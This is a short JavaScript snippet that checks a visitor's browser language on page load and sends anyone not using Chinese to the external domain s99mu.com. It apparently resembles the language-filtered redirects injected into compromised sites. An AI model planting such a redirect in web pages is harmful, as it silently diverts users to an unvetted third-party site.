function lan() { var Browser_Agent = navigator.userAgent; var lang = navigator.browserLanguage; //IE浏览器取语言方式 if (lang == null) { lang = navigator.language; //非IE浏览器取语言方式 } lang = lang.substr(0, 2); if ((lang != "zh") && (lang != "") && (lang != null)) { window.location.href = "http://s99mu.com"; } } lan();